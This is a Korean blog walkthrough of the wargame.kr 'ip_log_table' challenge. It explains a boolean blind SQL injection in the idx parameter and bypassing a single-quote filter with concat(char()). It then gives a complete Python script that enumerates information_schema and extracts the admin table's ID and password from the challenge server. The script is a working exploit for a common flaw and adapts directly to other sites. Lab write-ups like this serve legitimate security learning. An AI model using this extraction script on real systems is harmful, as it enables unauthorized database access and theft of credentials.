페이지를 읽을 때마다 자신의 IP가 찍히면서 새로운 글이 생성됩니다.



Admin LOGIN으로 가보면 로그인 창이 하나 있고 로그인을 시도해보면 실패라고 나옵니다.

알맞은 ID/PS 를 알아내야 할 것으로 보입니다.




로그를 눌러보면 현재 시간(서버 기준)이 나오고 아무런 정보를 내주지 않습니다.



Burp suite를 사용해서 보면 idx값을 보내게 되는데 해당 값을 임의로 변경하면 아래와 같은 시간이 나오게 됩니다.

해당 문제는 Blind SQL Injection문제이므로 여기서 나오는 참/거짓으로 문제를 해결 할 수 있습니다.



0 or 1=1 이라고 값을 수정하면 참으로 시간이 나오게 되는데



0 or '1' = '1' 이라고 입력하면 제대로 나오지 않습니다.

이것으로 볼 때 서버 쪽에서 싱글쿼터(')를 필터링 하는 기능을 사용하고 있는 것으로 생각하고 있어야 합니다.



지금 정확한 TABLE_NAME, COLUMN_NAME을 알지 못하기에 해당 값을 먼저 알아내는 작업을 수행해야 합니다.


① TABLE_NAME

information.schema.tables라는 테이블을 이용해서 알아 낼 수 있습니다.(Mysql 기준)

select table_name from information.schema.tables where table_type='base table' limit 0,1

해당 Query를 통해 첫 번째의 table_name을 알아 낼 수 있습니다.

하지만 싱글쿼터를 우회하기 위해 concat()과 char()를 이용해서 문자열을 만들어줘야 합니다.


② COLUMN_NAME

select column_name from information.schema.columns where table_name='TABLE_NAME' limit 0,1

table_name을 구했으니 table안에 column명을 얻는 Query를 이용해서 하나씩 구합니다.


③ COLUMN_VALUE

select COLUMN_NAME from TABLE_NAME where ID_NAME=ID_VALUE

select COLUMN_NAME from TABLE_NAME where PS_NAME=PS_VALUE

ID/PS의 값을 구해 인증하면 됩니다.




Python3으로 간략하게 정리해 봤습니다.


PS는 index_list를 쓰면 전부 나오지 않기 때문에 range(33,127)로 전체 문자를 검사해야 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import requests
 
def request_len(query, count=-1):
    for i in range(0,100):
        print("count: "+str(count))
        if(count==-1): payload = query.format(i)
        else: payload = query.format(count,i)
        data = {'idx': payload}
        print (payload)
       
        res = requests.post(url, cookies=cookies, data=data)
        if((res.text).find("1970-01-01 09:00:00")<0):
            print("Length: "+str(i))
            return i
    return -1
        
 
def request_value(query, value_len, count=-1):
    value=''
    for i in range(1, value_len+1):
        for j in index_list:
            if(count==-1): payload = query.format(i,j)
            else: payload = query.format(count,i,j)
            data = {'idx': payload}
            print (payload)
           
            res = requests.post(url, cookies=cookies, data=data)
            if((res.text).find("1970-01-01 09:00:00")<0):
                value += chr(j)
                break
    print("Value: "+value)
    return value
 
        
if __name__=='__main__':
    cookies= {'ci_session':'YourSessionValue'}
    url = 'http://wargame.kr:8080/ip_log_table/chk.php'
    index_list = [95]+list(range(97,123))
 
    ######################### TABLE ##############################
 
    query="idx=0 or 1=1 and length((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1))={0}"
    table_len=request_len(query)
    if( table_len == -1):
        exit("table_len code Error")
 
    print(table_len)
    query="idx=0 or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1),{0},1))={1}"
    table_name=request_value(query, table_len)
    if( table_name == '' ):
        exit("table_name code Error")
 
 
    ######################### COLUMN ##############################
 
    query="idx=0 or 1=1 and (select count(column_name) from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)))={0}"
    column_count=request_len(query)
    if( column_count == -1):
        exit("column_count code Error")
 
    column=[]
    for count in range(0, column_count):
        query="idx=0 or 1=1 and length((select column_name from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)) limit {0},1))={1}"
        column_len=request_len(query, count)
        if( column_len == -1):
            exit("column_len code Error")
 
        query="idx=0 or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)) limit {0},1),{1},1))={2}"
        column_name=request_value(query, column_len, count)
        if( column_name == '' ):
            exit("column_name code Error")
 
        column.append(column_name)
    print("COLUMN: "+str(column))
    
 
    ######################### ID_VALUE ##############################
 
    query="idx=0 or 1=1 and (select count(id) from admin_table)={0}"
    id_count=request_len(query)
    if( id_count == -1):
        exit("id_count code Error")
 
    id=[]
    for count in range(0, id_count):
        query="idx=0 or 1=1 and length((select id from admin_table limit {0},1))={1}"
        id_len=request_len(query, count)
        if( id_len == -1):
            exit("id_len code Error")
 
        query="idx=0 or 1=1 and ascii(substr((select id from admin_table limit {0},1),{1},1))={2}"
        id_name=request_value(query, id_len, count)
        if( id_name == '' ):
            exit("id_name code Error")
 
        id.append(id_name)
    print("ID: "+str(id))
 
 
    ######################### PS_VALUE ##############################
 
    query="idx=0 or 1=1 and length((select ps from admin_table where id=concat(char(98),char(108),char(117),char(101),char(95),char(97),char(100),char(109),char(105),char(110))))={0}"
    ps_len=request_len(query)
    if( ps_len == -1):
        exit("id_len code Error")
 
    query="idx=0 or 1=1 and ascii(substr((select ps from admin_table where id=concat(char(98),char(108),char(117),char(101),char(95),char(97),char(100),char(109),char(105),char(110))),{0},1))={1}"
    ps_value=request_value(query, ps_len)
    if( ps_value == '' ):
        exit("ps_value code Error")
 
cs

다소 지저분하지만... 

(앞 부분을 주석 처리 시 들여쓰기 Error가 나게 되니 주의)




얻은 ID/PS로 로그인을 하면 인증이 완료됩니다.



[참고]


[WEB] Blind SQL Injection 공격 방법:

http://crattack.tistory.com/entry/WEB-Blind-SQL-Injection-%EA%B3%B5%EA%B2%A9-%EB%B0%A9%EB%B2%95


Oracle, MySQL(Maria DB), MS-SQL 테이블 / 컬럼 목록 조회:

https://blog.themuser.xyz/%EC%98%A4%EB%9D%BC%ED%81%B4-mysql-ms-sql-%ED%85%8C%EC%9D%B4%EB%B8%94-%EC%BB%AC%EB%9F%BC-%EC%A0%95%EB%B3%B4-%EC%A1%B0%ED%9A%8C/

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] QnA  (0) 2018.11.13
[WarGame] lonely guys  (0) 2018.11.10
[WarGame] WTF_CODE  (0) 2018.11.05
[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01

+ Recent posts